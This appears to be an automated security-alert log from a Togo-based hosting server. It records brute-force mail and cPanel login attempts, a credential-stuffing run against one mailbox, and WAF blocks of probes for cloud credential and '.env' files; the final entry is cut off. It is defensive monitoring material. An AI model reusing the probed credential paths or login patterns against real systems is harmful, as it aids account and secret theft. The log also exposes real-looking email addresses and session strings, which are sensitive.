2026-06-09 03:28:53 dovecot_plain authenticator failed for H=([91.92.243.93]) [157.20.42.37]:39262: 535 Incorrect authentication data (set_id=contacto@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.201.143.137
country_id: 2017370
description:
2026-06-09 03:29:51 dovecot_plain authenticator failed for H=([91.92.243.93]) [88.201.143.137]:44308: 535 Incorrect authentication data (set_id=accounts@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.237.188.123
country_id: 3469034
description:
2026-06-09 03:29:15 dovecot_login authenticator failed for H=([91.92.243.93]) [45.237.188.123]:47679: 535 Incorrect authentication data (set_id=financeiro@belali.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.123.156
country_id: 99237
description:
[2026-06-09 03:29:46 +0000] info [cpaneld] 212.237.123.156 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.239.193.41
country_id: 3469034
description:
[2026-06-09 03:29:37 +0000] info [cpaneld] 170.239.193.41 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.208.186.218
country_id: 3469034
description:
[2026-06-09 03:29:44 +0000] info [cpaneld] 143.208.186.218 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.25.98.202
country_id: 3932488
description:
2026-06-09 03:30:05 dovecot_plain authenticator failed for H=([91.92.243.93]) [38.25.98.202]:44005: 535 Incorrect authentication data (set_id=suporte@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.12.151.15
country_id: 3658394
description:
2026-06-09 03:29:24 dovecot_plain authenticator failed for H=host-190-12-151-15.one.net.ec ([91.92.243.93]) [190.12.151.15]:64117: 535 Incorrect authentication data (set_id=comercial@belali.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.35.66
country_id: 1282988
description:
[2026-06-09 03:29:33 +0000] info [cpaneld] 111.119.35.66 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.235.223.185
country_id: 294640
description:
2026-06-09 03:29:37 dovecot_plain authenticator failed for H=([91.92.243.93]) [147.235.223.185]:45610: 535 Incorrect authentication data (set_id=it@belali.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.233.248.103
country_id: 2017370
description:
[2026-06-09 03:29:40 +0000] info [cpaneld] 94.233.248.103 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.115.145.221
country_id: 2017370
description:
[2026-06-09 03:29:27 +0000] info [cpaneld] 176.115.145.221 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.147.237.25
country_id: 1210997
description:
2026-06-09 03:30:37 dovecot_plain authenticator failed for H=([91.92.243.93]) [27.147.237.25]:45950: 535 Incorrect authentication data (set_id=office@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.188.122.239
country_id: 290291
description:
2026-06-09 03:30:52 dovecot_plain authenticator failed for H=([91.92.243.93]) [193.188.122.239]:15216: 535 Incorrect authentication data (set_id=soporte@belali.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.64.238.40
country_id: 1814991
description:
Jun  9 03:31:10 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.64.238.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.25.98.202
country_id: 3932488
description:
2026-06-09 03:30:12 dovecot_login authenticator failed for H=([91.92.243.93]) [38.25.98.202]:44005: 535 Incorrect authentication data (set_id=suporte@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.87.200.238
country_id: 953987
description:
2026-06-09 03:30:21 dovecot_plain authenticator failed for H=([91.92.243.93]) [197.87.200.238]:53542: 535 Incorrect authentication data (set_id=hr@belali.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.230.232.243
country_id: 1512440
description:
2026-06-09 03:31:47 H=([0.0.0.0]) [94.230.232.243]:5484 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.64.238.40
country_id: 1814991
description:
2026-06-09 03:31:12 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [124.64.238.40]:44726: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.232.244.229
country_id: 3469034
description:
2026-06-09 03:31:14 dovecot_plain authenticator failed for H=([91.92.243.93]) [45.232.244.229]:31338: 535 Incorrect authentication data (set_id=clients@belali.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.234.26.25
country_id: 2017370
description:
2026-06-09 03:31:27 dovecot_plain authenticator failed for H=([91.92.243.93]) [109.234.26.25]:54541: 535 Incorrect authentication data (set_id=info@belali.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.159.11.203
country_id: 2921044
domain: www.rbtv77.cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/.config/gcloud/credentials.db||User:cloudetracks||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.219.49.195
country_id: 3658394
description:
186.219.49.195 - - [09/Jun/2026:03:34:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934492&pdata=https%253A%252F%252Feducplusmedia.tg%252F2024%252F12%252F08%252Factualites-internationales-burkina-faso-rimtalba-jean-emmanuel-ouedraogo-nouveau-visage-de-la-transition%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780976080 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2024/12/08/actualites-internationales-burkina-faso-rimtalba-jean-emmanuel-ouedraogo-nouveau-visage-de-la-transition/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.2329.1459 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.219.49.195


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun  9 03:37:06 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.188
country_id: 1835841
description:
Jun  9 03:37:06 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.234.55
country_id: 1269750
description:
Jun  9 03:37:05 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.234.55 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun  9 03:37:21 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.31.198
country_id: 1814991
description:
Jun  9 03:38:07 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.31.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun  9 03:37:14 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 184.68.123.34
country_id: 6251999
description:
Jun  9 03:37:30 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 184.68.123.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.213.131.12
country_id: 1835841
description:
Jun  9 03:37:46 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.213.131.12 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.34.128.202
country_id: 6252001
description:
Jun  9 03:37:45 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.34.128.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jun  9 03:37:16 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun  9 03:39:02 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.246.42.212
country_id: 1819730
description:
Jun  9 03:39:10 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.246.42.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.166.31.198
country_id: 1814991
description:
Jun  9 03:38:16 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.166.31.198 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.240
country_id: 6252001
description:
[2026-06-09 03:38:41 +0000] info [cpaneld] 64.44.62.240 NEW zsfyjiji:7wGD54Ry6snphAIC address=64.44.62.240,app=cpaneld,creator=zsfyjiji,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.198.173.137
country_id: 1819730
description:
Jun  9 03:38:58 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.198.173.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun  9 03:38:14 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun  9 03:39:32 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun  9 03:39:14 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.40.98
country_id: 1269750
description:
Jun  9 03:40:51 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.40.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.40.98
country_id: 1269750
description:
2026-06-09 03:40:53 dovecot_login authenticator failed for H=([174.75.211.198]) [182.95.40.98]:34970: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.75
country_id: 3175395
description:
2026-06-09 03:41:51 dovecot_plain authenticator failed for H=vm1255.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.75]:47752: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.79.144.103
country_id: 1861060
description:
2026-06-09 03:42:12 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [47.79.144.103]:52884: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.200
country_id: 2750405
description:
2026-06-09 03:42:25 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.200]:13273: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.196
country_id: 2750405
description:
2026-06-09 03:44:00 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.196]:50186: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.163.184
country_id: 2750405
description:
Jun  9 03:43:16 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.163.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.107.205.213
country_id: 2077456
description:
2026-06-09 03:43:33 dovecot_plain authenticator failed for H=ec2-3-107-205-213.ap-southeast-2.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [3.107.205.213]:37452: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.163.201
country_id: 2750405
description:
Jun  9 03:43:45 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.163.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.184
country_id: 2750405
description:
2026-06-09 03:43:18 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.184]:54956: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.201
country_id: 2750405
description:
2026-06-09 03:43:47 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.201]:31159: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.221
country_id: 2750405
description:
2026-06-09 03:44:11 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.159.221]:19499: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.6.158.127
country_id: 6252001
description:
2026-06-09 03:44:37 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [38.6.158.127]:17343: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.216
country_id: 2750405
description:
2026-06-09 03:44:50 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.159.216]:43163: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.74
country_id: 2635167
description:
[2026-06-09 03:45:01 +0000] info [cpaneld] 5.230.133.74 NEW wcnyaruu:TUoJJhYP7mzCaEWT address=5.230.133.74,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 140.174.112.139
country_id: 6251999
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:le-pr4sp-lance-pour-renforcer-le-systeme-de-sante-au-togo/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [09/Jun/2026:03:45:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660773&pdata=http%253A%252F%252Fxhhehr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780976710 HTTP/1.1" 302 0 xhhehr.mediatopnews.tg "http://xhhehr.mediatopnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 44.242.50.106
country_id: 6252001
description:
2026-06-09 03:45:37 dovecot_plain authenticator failed for H=ec2-44-242-50-106.us-west-2.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [44.242.50.106]:55098: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.155.245
country_id: 2750405
description:
2026-06-09 03:45:51 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.155.245]:44455: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 104.155.147.189
country_id: 6252001
domain: cpcalendars.davetechno.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env.production||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.243.86.117
country_id: 2921044
description:
2026-06-09 03:46:54 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [83.243.86.117]:38110: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.109
country_id: 3175395
description:
2026-06-09 03:46:42 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.113.109]:38132: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 18.143.177.226
country_id: 1880251
description:
2026-06-09 03:47:59 dovecot_plain authenticator failed for H=ec2-18-143-177-226.ap-southeast-1.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [18.143.177.226]:20412: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.175
country_id: 2750405
description:
2026-06-09 03:47:35 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.158.175]:11906: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.158.118
country_id: 2750405
description:
2026-06-09 03:47:46 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.158.118]:42241: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.159.90.241
country_id: 2750405
description:
2026-06-09 03:48:43 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [203.159.90.241]:40448: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.17.41.2
country_id: 6252001
description:
2026-06-09 03:48:13 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [84.17.41.2]:33292: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.154.180.50
country_id: 1835841
description:
2026-06-09 03:48:30 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [121.154.180.50]:56080: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.159.90.241
country_id: 2750405
description:
Jun  9 03:48:41 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.159.90.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.212.115.29
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-49.185.212.115.29||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.225.217.94
country_id: 617790
description:
2026-06-09 03:50:29 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [91.225.217.94]:59006: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.235.231.139
country_id: 3508796
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/seance-de-restitution-de-la-mission-dimmersion-du-cat-a-lasa-ci HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.56.188.85
country_id: 2921044
description:
2026-06-09 03:51:25 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.56.188.85]:40124: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.82.47
country_id: 6252001
description:
2026-06-09 03:52:07 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [144.31.82.47]:48270: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.61.37
country_id: 2635167
description:
2026-06-09 03:51:12 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [146.70.61.37]:21612: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [09/Jun/2026:03:51:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6931908&pdata=http%253A%252F%252Fin.crepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780977109 HTTP/1.1" 302 0 in.crepsad.tg "http://in.crepsad.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.120.93.242
country_id: 2921044
description:
2026-06-09 03:52:42 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [87.120.93.242]:53406: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.82.47
country_id: 6252001
description:
2026-06-09 03:52:14 dovecot_login authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [144.31.82.47]:48270: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.196
country_id: 2750405
description:
2026-06-09 03:52:29 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.196]:44355: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.107.233.130
country_id: 6252001
description:
2026-06-09 03:52:59 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [38.107.233.130]:49032: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.214
country_id: 2750405
description:
2026-06-09 03:52:19 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.159.214]:12429: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.159.214
country_id: 2750405
description:
Jun  9 03:52:17 ns5 auth[203578]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.159.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Take Advantage of This Expiring Bonus vamvozmviigr.blogspot.pt 2k||Email:realitydelights@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:03-53.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.106
country_id: 1880251
description:
47.128.122.106 - - [09/Jun/2026:03:53:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6918502&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-lindustrialisation-gage-de-croissance-economique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780977237 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-lindustrialisation-gage-de-croissance-economique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.106


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.34
country_id: 3175395
description:
2026-06-09 03:54:31 dovecot_plain authenticator failed for H=vm807.akenai.wtf (185-224-215-184.netherlands-3.vps.ac) [31.76.113.34]:42464: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.230.79.108
country_id: 3489940
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/48.jpeg HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.84.163
country_id: 6252001
description:
2026-06-09 03:54:44 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [31.76.84.163]:38984: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.236.17.86
country_id: 1522867
description:
2026-06-09 03:54:59 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [178.236.17.86]:52966: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.181.38.2
country_id: 1861060
description:
2026-06-09 03:54:17 dovecot_plain authenticator failed for H=ec2-57-181-38-2.ap-northeast-1.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [57.181.38.2]:16820: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.163.183
country_id: 2750405
description:
2026-06-09 03:56:04 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [104.28.163.183]:26412: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.224.3.29
country_id: 2782113
description:
2026-06-09 03:55:12 dovecot_plain authenticator failed for H=(185-224-215-184.netherlands-3.vps.ac) [185.224.3.29]:54798: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 18.141.49.252
country_id: 1880251
description:
2026-06-09 03:55:26 dovecot_plain authenticator failed for H=ec2-18-141-49-252.ap-southeast-1.compute.amazonaws.com (185-224-215-184.netherlands-3.vps.ac) [18.141.49.252]:54026: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.131.32.191
country_id: 3175395
description:
